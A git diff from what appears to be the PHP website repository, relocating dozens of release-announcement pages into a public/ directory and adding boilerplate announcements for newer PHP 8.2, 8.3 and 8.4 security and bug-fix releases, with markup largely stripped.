    diff --git a/releases/8_1_28.php b/public/releases/8_1_28.php similarity index 92% rename from releases/8_1_28.php rename to public/releases/8_1_28.php index 80c929d634..61f299f768 100644 --- a/releases/8_1_28.php +++ b/public/releases/8_1_28.php @@ -1,6 +1,6 @@

    PHP 8.1.28 Release Announcement

    diff --git a/releases/8_1_29.php b/public/releases/8_1_29.php similarity index 92% rename from releases/8_1_29.php rename to public/releases/8_1_29.php index 006082179c..195755fae7 100644 --- a/releases/8_1_29.php +++ b/public/releases/8_1_29.php @@ -1,6 +1,6 @@

    PHP 8.1.29 Release Announcement

    diff --git a/releases/8_1_3.php b/public/releases/8_1_3.php similarity index 92% rename from releases/8_1_3.php rename to public/releases/8_1_3.php index 7eed1a4bed..b6fe5c723c 100644 --- a/releases/8_1_3.php +++ b/public/releases/8_1_3.php @@ -1,6 +1,6 @@

    PHP 8.1.3 Release Announcement

    diff --git a/releases/8_1_30.php b/public/releases/8_1_30.php similarity index 92% rename from releases/8_1_30.php rename to public/releases/8_1_30.php index 1502782d58..646de3e814 100644 --- a/releases/8_1_30.php +++ b/public/releases/8_1_30.php @@ -1,6 +1,6 @@

    PHP 8.1.30 Release Announcement

    diff --git a/releases/8_1_31.php b/public/releases/8_1_31.php similarity index 92% rename from releases/8_1_31.php rename to public/releases/8_1_31.php index cc2c31c624..a41d0601bd 100644 --- a/releases/8_1_31.php +++ b/public/releases/8_1_31.php @@ -1,6 +1,6 @@

    PHP 8.1.31 Release Announcement

    diff --git a/releases/8_1_32.php b/public/releases/8_1_32.php similarity index 92% rename from releases/8_1_32.php rename to public/releases/8_1_32.php index 2e339e9da3..9005dd6625 100644 --- a/releases/8_1_32.php +++ b/public/releases/8_1_32.php @@ -1,6 +1,6 @@

    PHP 8.1.32 Release Announcement

    diff --git a/releases/8_1_33.php b/public/releases/8_1_33.php similarity index 92% rename from releases/8_1_33.php rename to public/releases/8_1_33.php index 8fadb7715a..f5f22f1dff 100644 --- a/releases/8_1_33.php +++ b/public/releases/8_1_33.php @@ -1,6 +1,6 @@

    PHP 8.1.33 Release Announcement

    diff --git a/releases/8_1_34.php b/public/releases/8_1_34.php similarity index 93% rename from releases/8_1_34.php rename to public/releases/8_1_34.php index a2d54499ff..2ecb01d1d6 100644 --- a/releases/8_1_34.php +++ b/public/releases/8_1_34.php @@ -1,6 +1,6 @@

    PHP 8.1.34 Release Announcement

    diff --git a/releases/8_1_4.php b/public/releases/8_1_4.php similarity index 92% rename from releases/8_1_4.php rename to public/releases/8_1_4.php index ad2c897c07..3a1ac476ee 100644 --- a/releases/8_1_4.php +++ b/public/releases/8_1_4.php @@ -1,6 +1,6 @@

    PHP 8.1.4 Release Announcement

    diff --git a/releases/8_1_5.php b/public/releases/8_1_5.php similarity index 92% rename from releases/8_1_5.php rename to public/releases/8_1_5.php index a76cd4ecd6..c3a3c03a31 100644 --- a/releases/8_1_5.php +++ b/public/releases/8_1_5.php @@ -1,6 +1,6 @@

    PHP 8.1.5 Release Announcement

    diff --git a/releases/8_1_6.php b/public/releases/8_1_6.php similarity index 92% rename from releases/8_1_6.php rename to public/releases/8_1_6.php index 9ce817d5ce..f3c5be4e78 100644 --- a/releases/8_1_6.php +++ b/public/releases/8_1_6.php @@ -1,6 +1,6 @@

    PHP 8.1.6 Release Announcement

    diff --git a/releases/8_1_7.php b/public/releases/8_1_7.php similarity index 92% rename from releases/8_1_7.php rename to public/releases/8_1_7.php index 8b16e13d7c..c5b383cff9 100644 --- a/releases/8_1_7.php +++ b/public/releases/8_1_7.php @@ -1,6 +1,6 @@

    PHP 8.1.7 Release Announcement

    diff --git a/releases/8_1_8.php b/public/releases/8_1_8.php similarity index 92% rename from releases/8_1_8.php rename to public/releases/8_1_8.php index fe21935e3f..2089f29b6c 100644 --- a/releases/8_1_8.php +++ b/public/releases/8_1_8.php @@ -1,6 +1,6 @@

    PHP 8.1.8 Release Announcement

    diff --git a/releases/8_1_9.php b/public/releases/8_1_9.php similarity index 92% rename from releases/8_1_9.php rename to public/releases/8_1_9.php index 6db4495493..b056c6d84e 100644 --- a/releases/8_1_9.php +++ b/public/releases/8_1_9.php @@ -1,6 +1,6 @@

    PHP 8.1.9 Release Announcement

    diff --git a/releases/8_2_0.php b/public/releases/8_2_0.php similarity index 97% rename from releases/8_2_0.php rename to public/releases/8_2_0.php index 3464cebeb3..7a6a93bd12 100644 --- a/releases/8_2_0.php +++ b/public/releases/8_2_0.php @@ -1,6 +1,6 @@

    PHP 8.2.0 Release Announcement

    diff --git a/releases/8_2_1.php b/public/releases/8_2_1.php similarity index 92% rename from releases/8_2_1.php rename to public/releases/8_2_1.php index c109c8af82..e83a3f3a28 100644 --- a/releases/8_2_1.php +++ b/public/releases/8_2_1.php @@ -1,6 +1,6 @@

    PHP 8.2.1 Release Announcement

    diff --git a/releases/8_2_10.php b/public/releases/8_2_10.php similarity index 92% rename from releases/8_2_10.php rename to public/releases/8_2_10.php index a4745f9053..8f10332165 100644 --- a/releases/8_2_10.php +++ b/public/releases/8_2_10.php @@ -1,6 +1,6 @@

    PHP 8.2.10 Release Announcement

    diff --git a/releases/8_2_11.php b/public/releases/8_2_11.php similarity index 92% rename from releases/8_2_11.php rename to public/releases/8_2_11.php index 9c0bfe7dca..e8823bfe22 100644 --- a/releases/8_2_11.php +++ b/public/releases/8_2_11.php @@ -1,6 +1,6 @@

    PHP 8.2.11 Release Announcement

    diff --git a/releases/8_2_12.php b/public/releases/8_2_12.php similarity index 92% rename from releases/8_2_12.php rename to public/releases/8_2_12.php index 00a30d03b9..8444be0a42 100644 --- a/releases/8_2_12.php +++ b/public/releases/8_2_12.php @@ -1,6 +1,6 @@

    PHP 8.2.12 Release Announcement

    diff --git a/releases/8_2_13.php b/public/releases/8_2_13.php similarity index 92% rename from releases/8_2_13.php rename to public/releases/8_2_13.php index 6fdb264f39..b3a353ecbf 100644 --- a/releases/8_2_13.php +++ b/public/releases/8_2_13.php @@ -1,6 +1,6 @@

    PHP 8.2.13 Release Announcement

    diff --git a/releases/8_2_14.php b/public/releases/8_2_14.php similarity index 92% rename from releases/8_2_14.php rename to public/releases/8_2_14.php index 1266d326b3..2e2401c380 100644 --- a/releases/8_2_14.php +++ b/public/releases/8_2_14.php @@ -1,6 +1,6 @@

    PHP 8.2.14 Release Announcement

    diff --git a/releases/8_2_15.php b/public/releases/8_2_15.php similarity index 92% rename from releases/8_2_15.php rename to public/releases/8_2_15.php index b4731ee515..788f025e55 100644 --- a/releases/8_2_15.php +++ b/public/releases/8_2_15.php @@ -1,6 +1,6 @@

    PHP 8.2.15 Release Announcement

    diff --git a/releases/8_2_16.php b/public/releases/8_2_16.php similarity index 92% rename from releases/8_2_16.php rename to public/releases/8_2_16.php index 8dc7c813ce..465cde2925 100644 --- a/releases/8_2_16.php +++ b/public/releases/8_2_16.php @@ -1,6 +1,6 @@

    PHP 8.2.16 Release Announcement

    diff --git a/releases/8_2_17.php b/public/releases/8_2_17.php similarity index 92% rename from releases/8_2_17.php rename to public/releases/8_2_17.php index 9e0d21f10f..814f68e5aa 100644 --- a/releases/8_2_17.php +++ b/public/releases/8_2_17.php @@ -1,6 +1,6 @@

    PHP 8.2.17 Release Announcement

    diff --git a/releases/8_2_18.php b/public/releases/8_2_18.php similarity index 92% rename from releases/8_2_18.php rename to public/releases/8_2_18.php index 60f96e5549..a7068d7fd5 100644 --- a/releases/8_2_18.php +++ b/public/releases/8_2_18.php @@ -1,6 +1,6 @@

    PHP 8.2.18 Release Announcement

    diff --git a/releases/8_2_19.php b/public/releases/8_2_19.php similarity index 92% rename from releases/8_2_19.php rename to public/releases/8_2_19.php index 7701ed5373..94e106b06d 100644 --- a/releases/8_2_19.php +++ b/public/releases/8_2_19.php @@ -1,6 +1,6 @@

    PHP 8.2.19 Release Announcement

    diff --git a/releases/8_2_2.php b/public/releases/8_2_2.php similarity index 92% rename from releases/8_2_2.php rename to public/releases/8_2_2.php index 0f488813d5..bfdb9ab9b9 100644 --- a/releases/8_2_2.php +++ b/public/releases/8_2_2.php @@ -1,6 +1,6 @@

    PHP 8.2.2 Release Announcement

    diff --git a/releases/8_2_20.php b/public/releases/8_2_20.php similarity index 92% rename from releases/8_2_20.php rename to public/releases/8_2_20.php index 64ec632ce0..7f0c760eba 100644 --- a/releases/8_2_20.php +++ b/public/releases/8_2_20.php @@ -1,6 +1,6 @@

    PHP 8.2.20 Release Announcement

    diff --git a/releases/8_2_21.php b/public/releases/8_2_21.php similarity index 92% rename from releases/8_2_21.php rename to public/releases/8_2_21.php index 68ede9a86d..e784f8a857 100644 --- a/releases/8_2_21.php +++ b/public/releases/8_2_21.php @@ -1,6 +1,6 @@

    PHP 8.2.21 Release Announcement

    diff --git a/releases/8_2_22.php b/public/releases/8_2_22.php similarity index 92% rename from releases/8_2_22.php rename to public/releases/8_2_22.php index 55fe48d179..9d5512991f 100644 --- a/releases/8_2_22.php +++ b/public/releases/8_2_22.php @@ -1,6 +1,6 @@

    PHP 8.2.22 Release Announcement

    diff --git a/releases/8_2_23.php b/public/releases/8_2_23.php similarity index 92% rename from releases/8_2_23.php rename to public/releases/8_2_23.php index 708af5690e..d78bc947ec 100644 --- a/releases/8_2_23.php +++ b/public/releases/8_2_23.php @@ -1,6 +1,6 @@

    PHP 8.2.23 Release Announcement

    diff --git a/releases/8_2_24.php b/public/releases/8_2_24.php similarity index 92% rename from releases/8_2_24.php rename to public/releases/8_2_24.php index d65b9c85e4..ec50e45527 100644 --- a/releases/8_2_24.php +++ b/public/releases/8_2_24.php @@ -1,6 +1,6 @@

    PHP 8.2.24 Release Announcement

    diff --git a/releases/8_2_25.php b/public/releases/8_2_25.php similarity index 92% rename from releases/8_2_25.php rename to public/releases/8_2_25.php index e79a6067b5..1cef79af92 100644 --- a/releases/8_2_25.php +++ b/public/releases/8_2_25.php @@ -1,6 +1,6 @@

    PHP 8.2.25 Release Announcement

    diff --git a/releases/8_2_26.php b/public/releases/8_2_26.php similarity index 92% rename from releases/8_2_26.php rename to public/releases/8_2_26.php index 8bd2c45fa8..518ba966b3 100644 --- a/releases/8_2_26.php +++ b/public/releases/8_2_26.php @@ -1,6 +1,6 @@

    PHP 8.2.26 Release Announcement

    diff --git a/releases/8_2_27.php b/public/releases/8_2_27.php similarity index 94% rename from releases/8_2_27.php rename to public/releases/8_2_27.php index fc9ca929f5..73d507757e 100644 --- a/releases/8_2_27.php +++ b/public/releases/8_2_27.php @@ -1,6 +1,6 @@

    PHP 8.2.27 Release Announcement

    diff --git a/releases/8_2_28.php b/public/releases/8_2_28.php similarity index 92% rename from releases/8_2_28.php rename to public/releases/8_2_28.php index 51b3b55f65..17bcabd15a 100644 --- a/releases/8_2_28.php +++ b/public/releases/8_2_28.php @@ -1,6 +1,6 @@

    PHP 8.2.28 Release Announcement

    diff --git a/releases/8_2_29.php b/public/releases/8_2_29.php similarity index 92% rename from releases/8_2_29.php rename to public/releases/8_2_29.php index 8c605a2c8b..de28969674 100644 --- a/releases/8_2_29.php +++ b/public/releases/8_2_29.php @@ -1,6 +1,6 @@

    PHP 8.2.29 Release Announcement

    diff --git a/releases/8_2_3.php b/public/releases/8_2_3.php similarity index 93% rename from releases/8_2_3.php rename to public/releases/8_2_3.php index 66deb4073c..b9d36f1806 100644 --- a/releases/8_2_3.php +++ b/public/releases/8_2_3.php @@ -1,6 +1,6 @@

    PHP 8.2.3 Release Announcement

    diff --git a/releases/8_2_30.php b/public/releases/8_2_30.php similarity index 93% rename from releases/8_2_30.php rename to public/releases/8_2_30.php index 519c7f648a..633dcb81ab 100644 --- a/releases/8_2_30.php +++ b/public/releases/8_2_30.php @@ -1,6 +1,6 @@

    PHP 8.2.30 Release Announcement

    diff --git a/public/releases/8_2_31.php b/public/releases/8_2_31.php new file mode 100644 index 0000000000..b3b4bd8cf2 --- /dev/null +++ b/public/releases/8_2_31.php @@ -0,0 +1,16 @@ + +

    PHP 8.2.31 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.2.31. This is a security release.

    + +

    All PHP 8.2 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.2.31 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    + +

    PHP 8.2.32 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.2.32. This is a security release.

    + +

    All PHP 8.2 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.2.32 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    + +

    PHP 8.2.33 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.2.33. This is a security release.

    + +

    All PHP 8.2 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.2.33 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    + true, 'cache_control' => 30 * 60]); +?> +

    PHP 8.2.34 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.2.34. This is a security release.

    + +

    All PHP 8.2 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.2.34 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    + true, 'cache_control' => 30 * 60]); +?> +

    PHP 8.2.35 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.2.35. This is a security release.

    + +

    All PHP 8.2 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.2.35 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    +

    PHP 8.2.4 Release Announcement

    diff --git a/releases/8_2_5.php b/public/releases/8_2_5.php similarity index 92% rename from releases/8_2_5.php rename to public/releases/8_2_5.php index 9344a22deb..3f697a2c4d 100644 --- a/releases/8_2_5.php +++ b/public/releases/8_2_5.php @@ -1,6 +1,6 @@

    PHP 8.2.5 Release Announcement

    diff --git a/releases/8_2_6.php b/public/releases/8_2_6.php similarity index 92% rename from releases/8_2_6.php rename to public/releases/8_2_6.php index 73d0165311..94b205966f 100644 --- a/releases/8_2_6.php +++ b/public/releases/8_2_6.php @@ -1,6 +1,6 @@

    PHP 8.2.6 Release Announcement

    diff --git a/releases/8_2_7.php b/public/releases/8_2_7.php similarity index 92% rename from releases/8_2_7.php rename to public/releases/8_2_7.php index 6eb5f34dd4..eef227c15c 100644 --- a/releases/8_2_7.php +++ b/public/releases/8_2_7.php @@ -1,6 +1,6 @@

    PHP 8.2.7 Release Announcement

    diff --git a/releases/8_2_8.php b/public/releases/8_2_8.php similarity index 92% rename from releases/8_2_8.php rename to public/releases/8_2_8.php index e69e8608af..d520a6172d 100644 --- a/releases/8_2_8.php +++ b/public/releases/8_2_8.php @@ -1,6 +1,6 @@

    PHP 8.2.8 Release Announcement

    diff --git a/releases/8_2_9.php b/public/releases/8_2_9.php similarity index 93% rename from releases/8_2_9.php rename to public/releases/8_2_9.php index a86172fd6c..2f6ffa2225 100644 --- a/releases/8_2_9.php +++ b/public/releases/8_2_9.php @@ -1,6 +1,6 @@

    PHP 8.2.9 Release Announcement

    diff --git a/releases/8_3_0.php b/public/releases/8_3_0.php similarity index 97% rename from releases/8_3_0.php rename to public/releases/8_3_0.php index 367240b3cd..0c46f85327 100644 --- a/releases/8_3_0.php +++ b/public/releases/8_3_0.php @@ -1,6 +1,6 @@

    PHP 8.3.0 Release Announcement

    diff --git a/releases/8_3_1.php b/public/releases/8_3_1.php similarity index 92% rename from releases/8_3_1.php rename to public/releases/8_3_1.php index d3291a0dcf..c1bb271686 100644 --- a/releases/8_3_1.php +++ b/public/releases/8_3_1.php @@ -1,6 +1,6 @@

    PHP 8.3.1 Release Announcement

    diff --git a/releases/8_3_10.php b/public/releases/8_3_10.php similarity index 92% rename from releases/8_3_10.php rename to public/releases/8_3_10.php index 7fc47ddc78..7cd0e76924 100644 --- a/releases/8_3_10.php +++ b/public/releases/8_3_10.php @@ -1,6 +1,6 @@

    PHP 8.3.10 Release Announcement

    diff --git a/releases/8_3_11.php b/public/releases/8_3_11.php similarity index 92% rename from releases/8_3_11.php rename to public/releases/8_3_11.php index 8cb487d355..d5520d7662 100644 --- a/releases/8_3_11.php +++ b/public/releases/8_3_11.php @@ -1,6 +1,6 @@

    PHP 8.3.11 Release Announcement

    diff --git a/releases/8_3_12.php b/public/releases/8_3_12.php similarity index 92% rename from releases/8_3_12.php rename to public/releases/8_3_12.php index b064e47c28..1d4bfb1e08 100644 --- a/releases/8_3_12.php +++ b/public/releases/8_3_12.php @@ -1,6 +1,6 @@

    PHP 8.3.12 Release Announcement

    diff --git a/releases/8_3_13.php b/public/releases/8_3_13.php similarity index 92% rename from releases/8_3_13.php rename to public/releases/8_3_13.php index 44a7cf0ee6..74d95f93f5 100644 --- a/releases/8_3_13.php +++ b/public/releases/8_3_13.php @@ -1,6 +1,6 @@

    PHP 8.3.13 Release Announcement

    diff --git a/releases/8_3_14.php b/public/releases/8_3_14.php similarity index 92% rename from releases/8_3_14.php rename to public/releases/8_3_14.php index aae1320cc3..cbdfb55c3a 100644 --- a/releases/8_3_14.php +++ b/public/releases/8_3_14.php @@ -1,6 +1,6 @@

    PHP 8.3.14 Release Announcement

    diff --git a/releases/8_3_15.php b/public/releases/8_3_15.php similarity index 92% rename from releases/8_3_15.php rename to public/releases/8_3_15.php index 81a5b8b1ea..399c386daf 100644 --- a/releases/8_3_15.php +++ b/public/releases/8_3_15.php @@ -1,6 +1,6 @@

    PHP 8.3.15 Release Announcement

    diff --git a/releases/8_3_16.php b/public/releases/8_3_16.php similarity index 92% rename from releases/8_3_16.php rename to public/releases/8_3_16.php index 3d2f717d2d..f5897adb19 100644 --- a/releases/8_3_16.php +++ b/public/releases/8_3_16.php @@ -1,6 +1,6 @@

    PHP 8.3.16 Release Announcement

    diff --git a/releases/8_3_17.php b/public/releases/8_3_17.php similarity index 92% rename from releases/8_3_17.php rename to public/releases/8_3_17.php index 553ce9f4ca..a76fe624c9 100644 --- a/releases/8_3_17.php +++ b/public/releases/8_3_17.php @@ -1,6 +1,6 @@

    PHP 8.3.17 Release Announcement

    diff --git a/releases/8_3_19.php b/public/releases/8_3_19.php similarity index 92% rename from releases/8_3_19.php rename to public/releases/8_3_19.php index 5adc780252..b1d0a9a0f6 100644 --- a/releases/8_3_19.php +++ b/public/releases/8_3_19.php @@ -1,6 +1,6 @@

    PHP 8.3.19 Release Announcement

    diff --git a/releases/8_3_2.php b/public/releases/8_3_2.php similarity index 92% rename from releases/8_3_2.php rename to public/releases/8_3_2.php index fed841f429..ae34c2e607 100644 --- a/releases/8_3_2.php +++ b/public/releases/8_3_2.php @@ -1,6 +1,6 @@

    PHP 8.3.2 Release Announcement

    diff --git a/releases/8_3_20.php b/public/releases/8_3_20.php similarity index 92% rename from releases/8_3_20.php rename to public/releases/8_3_20.php index 9e49def999..964aacaf09 100644 --- a/releases/8_3_20.php +++ b/public/releases/8_3_20.php @@ -1,6 +1,6 @@

    PHP 8.3.20 Release Announcement

    diff --git a/releases/8_3_21.php b/public/releases/8_3_21.php similarity index 92% rename from releases/8_3_21.php rename to public/releases/8_3_21.php index 581566b02e..94f98b8c33 100644 --- a/releases/8_3_21.php +++ b/public/releases/8_3_21.php @@ -1,6 +1,6 @@

    PHP 8.3.21 Release Announcement

    diff --git a/releases/8_3_22.php b/public/releases/8_3_22.php similarity index 92% rename from releases/8_3_22.php rename to public/releases/8_3_22.php index 5ecced5f7f..8164119671 100644 --- a/releases/8_3_22.php +++ b/public/releases/8_3_22.php @@ -1,6 +1,6 @@

    PHP 8.3.22 Release Announcement

    diff --git a/releases/8_3_23.php b/public/releases/8_3_23.php similarity index 92% rename from releases/8_3_23.php rename to public/releases/8_3_23.php index c8b1427cbb..e602bedada 100644 --- a/releases/8_3_23.php +++ b/public/releases/8_3_23.php @@ -1,6 +1,6 @@

    PHP 8.3.23 Release Announcement

    diff --git a/releases/8_3_24.php b/public/releases/8_3_24.php similarity index 92% rename from releases/8_3_24.php rename to public/releases/8_3_24.php index 5d80183131..d73d751717 100644 --- a/releases/8_3_24.php +++ b/public/releases/8_3_24.php @@ -1,6 +1,6 @@

    PHP 8.3.24 Release Announcement

    diff --git a/releases/8_3_25.php b/public/releases/8_3_25.php similarity index 92% rename from releases/8_3_25.php rename to public/releases/8_3_25.php index 2d43719031..82be8e88dd 100644 --- a/releases/8_3_25.php +++ b/public/releases/8_3_25.php @@ -1,6 +1,6 @@

    PHP 8.3.25 Release Announcement

    diff --git a/releases/8_3_26.php b/public/releases/8_3_26.php similarity index 92% rename from releases/8_3_26.php rename to public/releases/8_3_26.php index 49d0bf9004..4f8bd9bebe 100644 --- a/releases/8_3_26.php +++ b/public/releases/8_3_26.php @@ -1,6 +1,6 @@

    PHP 8.3.26 Release Announcement

    diff --git a/releases/8_3_27.php b/public/releases/8_3_27.php similarity index 92% rename from releases/8_3_27.php rename to public/releases/8_3_27.php index 9154f25684..fe558fb519 100644 --- a/releases/8_3_27.php +++ b/public/releases/8_3_27.php @@ -1,6 +1,6 @@

    PHP 8.3.27 Release Announcement

    diff --git a/releases/8_3_28.php b/public/releases/8_3_28.php similarity index 92% rename from releases/8_3_28.php rename to public/releases/8_3_28.php index 66dd2ebf3b..5b1402befe 100644 --- a/releases/8_3_28.php +++ b/public/releases/8_3_28.php @@ -1,6 +1,6 @@

    PHP 8.3.28 Release Announcement

    diff --git a/releases/8_3_29.php b/public/releases/8_3_29.php similarity index 93% rename from releases/8_3_29.php rename to public/releases/8_3_29.php index 7e62ec5dbf..4fff766522 100644 --- a/releases/8_3_29.php +++ b/public/releases/8_3_29.php @@ -1,6 +1,6 @@

    PHP 8.3.29 Release Announcement

    diff --git a/releases/8_3_3.php b/public/releases/8_3_3.php similarity index 92% rename from releases/8_3_3.php rename to public/releases/8_3_3.php index 509b9f1ae7..176743ae73 100644 --- a/releases/8_3_3.php +++ b/public/releases/8_3_3.php @@ -1,6 +1,6 @@

    PHP 8.3.3 Release Announcement

    diff --git a/releases/8_3_30.php b/public/releases/8_3_30.php similarity index 93% rename from releases/8_3_30.php rename to public/releases/8_3_30.php index cf906d52c1..43e6a5ed1e 100644 --- a/releases/8_3_30.php +++ b/public/releases/8_3_30.php @@ -1,6 +1,6 @@

    PHP 8.3.30 Release Announcement

    diff --git a/public/releases/8_3_31.php b/public/releases/8_3_31.php new file mode 100644 index 0000000000..02f86b29d8 --- /dev/null +++ b/public/releases/8_3_31.php @@ -0,0 +1,16 @@ + +

    PHP 8.3.31 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.3.31. This is a security release.

    + +

    All PHP 8.3 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.3.31 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    + +

    PHP 8.3.32 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.3.32. This is a security release.

    + +

    All PHP 8.3 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.3.32 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    + true, 'cache_control' => 30 * 60]); +?> +

    PHP 8.3.33 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.3.33. This is a security release.

    + +

    All PHP 8.3 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.3.33 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    + true, 'cache_control' => 30 * 60]); +?> +

    PHP 8.3.35 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.3.35. This is a security release.

    + +

    All PHP 8.3 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.3.35 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    + true, 'cache_control' => 30 * 60]); +?> +

    PHP 8.3.36 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.3.36. This is a security release.

    + +

    All PHP 8.3 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.3.36 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    +

    PHP 8.3.4 Release Announcement

    diff --git a/releases/8_3_6.php b/public/releases/8_3_6.php similarity index 92% rename from releases/8_3_6.php rename to public/releases/8_3_6.php index 3814fdb07f..379ada7d28 100644 --- a/releases/8_3_6.php +++ b/public/releases/8_3_6.php @@ -1,6 +1,6 @@

    PHP 8.3.6 Release Announcement

    diff --git a/releases/8_3_7.php b/public/releases/8_3_7.php similarity index 92% rename from releases/8_3_7.php rename to public/releases/8_3_7.php index 4f9b39f2df..a6ee5e0ad4 100644 --- a/releases/8_3_7.php +++ b/public/releases/8_3_7.php @@ -1,6 +1,6 @@

    PHP 8.3.7 Release Announcement

    diff --git a/releases/8_3_8.php b/public/releases/8_3_8.php similarity index 92% rename from releases/8_3_8.php rename to public/releases/8_3_8.php index 0fda20e54d..7b446521c5 100644 --- a/releases/8_3_8.php +++ b/public/releases/8_3_8.php @@ -1,6 +1,6 @@

    PHP 8.3.8 Release Announcement

    diff --git a/releases/8_3_9.php b/public/releases/8_3_9.php similarity index 92% rename from releases/8_3_9.php rename to public/releases/8_3_9.php index 0041c4dfc8..4eb0fd0ebb 100644 --- a/releases/8_3_9.php +++ b/public/releases/8_3_9.php @@ -1,6 +1,6 @@

    PHP 8.3.9 Release Announcement

    diff --git a/releases/8_4_1.php b/public/releases/8_4_1.php similarity index 96% rename from releases/8_4_1.php rename to public/releases/8_4_1.php index 2dcd4e15e5..dee734d0d0 100644 --- a/releases/8_4_1.php +++ b/public/releases/8_4_1.php @@ -1,6 +1,6 @@

    PHP 8.4.1 Release Announcement

    diff --git a/releases/8_4_10.php b/public/releases/8_4_10.php similarity index 93% rename from releases/8_4_10.php rename to public/releases/8_4_10.php index 638a6a8abc..6c63678073 100644 --- a/releases/8_4_10.php +++ b/public/releases/8_4_10.php @@ -1,6 +1,6 @@

    PHP 8.4.10 Release Announcement

    diff --git a/releases/8_4_11.php b/public/releases/8_4_11.php similarity index 92% rename from releases/8_4_11.php rename to public/releases/8_4_11.php index d2e7ff9cc4..10c5897e76 100644 --- a/releases/8_4_11.php +++ b/public/releases/8_4_11.php @@ -1,6 +1,6 @@

    PHP 8.4.11 Release Announcement

    diff --git a/releases/8_4_12.php b/public/releases/8_4_12.php similarity index 92% rename from releases/8_4_12.php rename to public/releases/8_4_12.php index 217e7ef52c..ccbc20db96 100644 --- a/releases/8_4_12.php +++ b/public/releases/8_4_12.php @@ -1,6 +1,6 @@

    PHP 8.4.12 Release Announcement

    diff --git a/releases/8_4_13.php b/public/releases/8_4_13.php similarity index 92% rename from releases/8_4_13.php rename to public/releases/8_4_13.php index da85dde5be..47c5732da4 100644 --- a/releases/8_4_13.php +++ b/public/releases/8_4_13.php @@ -1,6 +1,6 @@

    PHP 8.4.13 Release Announcement

    diff --git a/releases/8_4_14.php b/public/releases/8_4_14.php similarity index 92% rename from releases/8_4_14.php rename to public/releases/8_4_14.php index 3065bdcc78..9e27c18101 100644 --- a/releases/8_4_14.php +++ b/public/releases/8_4_14.php @@ -1,6 +1,6 @@

    PHP 8.4.14 Release Announcement

    diff --git a/releases/8_4_15.php b/public/releases/8_4_15.php similarity index 92% rename from releases/8_4_15.php rename to public/releases/8_4_15.php index cc8187cd6c..902d0f5181 100644 --- a/releases/8_4_15.php +++ b/public/releases/8_4_15.php @@ -1,6 +1,6 @@

    PHP 8.4.15 Release Announcement

    diff --git a/releases/8_4_16.php b/public/releases/8_4_16.php similarity index 93% rename from releases/8_4_16.php rename to public/releases/8_4_16.php index e02dd3590f..ac06dd13a6 100644 --- a/releases/8_4_16.php +++ b/public/releases/8_4_16.php @@ -1,6 +1,6 @@

    PHP 8.4.16 Release Announcement

    diff --git a/releases/8_4_17.php b/public/releases/8_4_17.php similarity index 93% rename from releases/8_4_17.php rename to public/releases/8_4_17.php index f57189ccc3..0d55ae2744 100644 --- a/releases/8_4_17.php +++ b/public/releases/8_4_17.php @@ -1,6 +1,6 @@

    PHP 8.4.17 Release Announcement

    diff --git a/releases/8_4_18.php b/public/releases/8_4_18.php similarity index 93% rename from releases/8_4_18.php rename to public/releases/8_4_18.php index a54a949e9c..a733a01b2e 100644 --- a/releases/8_4_18.php +++ b/public/releases/8_4_18.php @@ -1,6 +1,6 @@

    PHP 8.4.18 Release Announcement

    diff --git a/public/releases/8_4_19.php b/public/releases/8_4_19.php new file mode 100644 index 0000000000..0839808984 --- /dev/null +++ b/public/releases/8_4_19.php @@ -0,0 +1,16 @@ + +

    PHP 8.4.19 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.4.19. This is a bug fix release.

    + +

    All PHP 8.4 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.4.19 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    +

    PHP 8.4.2 Release Announcement

    diff --git a/public/releases/8_4_20.php b/public/releases/8_4_20.php new file mode 100644 index 0000000000..1722c30a97 --- /dev/null +++ b/public/releases/8_4_20.php @@ -0,0 +1,16 @@ + +

    PHP 8.4.20 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.4.20. This is a bug fix release.

    + +

    All PHP 8.4 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.4.20 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    + +

    PHP 8.4.21 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.4.21. This is a security release.

    + +

    All PHP 8.4 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.4.21 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    + +

